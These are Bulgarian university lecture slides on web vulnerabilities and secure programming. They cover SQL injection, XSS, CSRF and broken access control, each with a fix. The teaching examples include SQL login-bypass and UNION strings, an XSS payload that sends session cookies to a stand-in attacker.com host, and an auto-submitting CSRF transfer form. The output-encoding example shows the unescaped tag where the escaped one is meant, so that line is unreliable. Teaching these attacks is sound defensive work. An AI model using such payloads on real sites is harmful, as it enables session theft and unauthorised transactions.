



Факултет по Математика и Информатика
ПУ "Паисий Хилендарски"

УЕБ УЯЗВИМОСТИ И СИГУРНО ПРОГРАМИРАНЕ

Витали Атиас

Защо уеб уязвимостите съществуват

Уеб уязвимост е слабост в приложение, която позволява на атакуващ да извърши непредвидени действия – например достъп до чужди данни, изпълнение на код или заобикаляне на автентикация.

Повечето уязвимости не са в протоколи като HTTP или TLS, а в логиката на самото приложение. Проблемът възниква, когато входните данни от потребителя не се валидират и обработват правилно.

Пример: ако login форма приема username и password и ги използва директно в SQL заявка, атакуващ може да подаде специално изграден вход, който променя логиката на заявката (напр. SQL injection).

SQL Injection

SQL Injection е една от най-старите и най-опасните уязвимости. Тя възниква, когато приложението използва входни данни от потребителя директно в SQL заявка без проверка.

Приложението използва следната SQL заявка за login:

```
SELECT * FROM users WHERE username = 'student1' AND password = 'mypassword';
```

Ако потребителят въведе:

username: student1

password: mypassword

SQL Injection

Но атакуващият може да въведе:

username: ' OR '1'='1

password: anything

SQL заявката става:

```
SELECT * FROM users WHERE username = " OR '1'='1' AND password = 'anything';
```

Изразът '1'='1' винаги е верен. Това означава, че SQL заявката връща резултат, дори ако паролата е грешна.

SQL Injection

По-опасен пример: извличане на данни

Атакуващият може да използва injection, за да извлече данни:
' UNION SELECT username, password FROM users --

Това може да върне всички usernames и passwords.

SQL Injection

Защо се случва Injection?

- Dynamic SQL
- String concatenation
- Липса на parameter binding
- Липса на input validation

Пример на уязвим код:

```
String query = "SELECT * FROM users WHERE username = '" +  
username + "'";
```

Ако username съдържа SQL код, той ще бъде изпълнен.

SQL Injection

решения

Правилният начин е използването на

- Parameterized queries (prepared Statements)
- ORM framework (Hibernate, JPA)
- Input validation (allowlist подход)
- Principle of Least Privilege (DB user не трябва да има DROP / ALTER права.)

Пример:

```
PreparedStatement stmt = connection.prepareStatement(  
    "SELECT * FROM users WHERE username = ?");  
stmt.setString(1, username);
```

Cross-Site Scripting (XSS)

XSS позволява на атакуващ да изпълни JavaScript код в браузъра на жертвата. Това се случва, когато приложението показва входни данни без да ги обработва правилно.

Пример:

Search функционалност:

`https://example.com/search?q=test`

Ако атакуващият въведе:

`<script>alert('Hacked')</script>`

браузърът изпълнява JavaScript.

Cross-Site Scripting (XSS)

По-опасен пример: кражба на session cookie

Атакуващият може да използва:

```
<script>  
  fetch("https://attacker.com/steal?cookie=" +  
  document.cookie)  
</script>
```

Това изпраща session cookie на атакуващия.

Атакуващият може да използва cookie, за да се представи като жертвата.

Cross-Site Scripting (XSS)

Решение: output encoding

Приложението трябва да преобразува специалните
СИМВОЛИ.

Вместо:

`<script>`

трябва да се покаже:

`<script>`

Браузърът няма да изпълни кода!

Cross-Site Request Forgery (CSRF)

CSRF е атака, при която атакуващият кара браузъра на жертвата да изпрати заявка към уеб приложение. Жертвата е вече логната.

Пример:

Потребителят е логнат в: <https://bank.com>

Атакуващият създава страница:

```
<form action="https://bank.com/transfer" method="POST">  
  <input type="hidden" name="amount" value="1000">  
  <input type="hidden" name="to" value="attacker">  
</form>  
  
<script>  
  document.forms[0].submit();  
</script>
```

Cross-Site Request Forgery (CSRF)

Причина за CSRF:

Браузърът автоматично изпраща cookies.

Сървърът не проверява дали заявката е легитимна.

Решение: CSRF tokens

Сървърът генерира уникален token.

Пример:

```
<input type="hidden" name="csrf_token" value="random123">
```

Сървърът проверява token.

Атакуващият не знае token.

Broken Access Control

Това означава, че потребител може да достъпва ресурси, които не трябва.

Пример:

/user/123

Атакуващият пробва:

/user/124

Ако приложението не проверява ownership, атакуващият вижда чужди данни.

Broken Access Control

Причина

Приложението разчита на client input.

Решение

Сървърът трябва да проверява права.

Пример:

```
if current_user != resource_owner:  
    deny_access()
```

Основни принципи на сигурно програмиране

Validate input

Всички входни данни трябва да се проверяват.

Пример:

ако се очаква число:

`age = "abc"`

трябва да бъде отхвърлено!

Основни принципи на сигурно програмиране

- **Encode output** - Всички данни трябва да бъдат encoded преди показване.
- **Never trust user input** - Потребителят може да изпрати всякакви данни.
- **Least privilege** - Потребителят трябва да има минималните необходими права.
- **Defense in depth** - Използване на множество защити

Повечето уеб уязвимости са резултат от неправилно обработване на входни данни!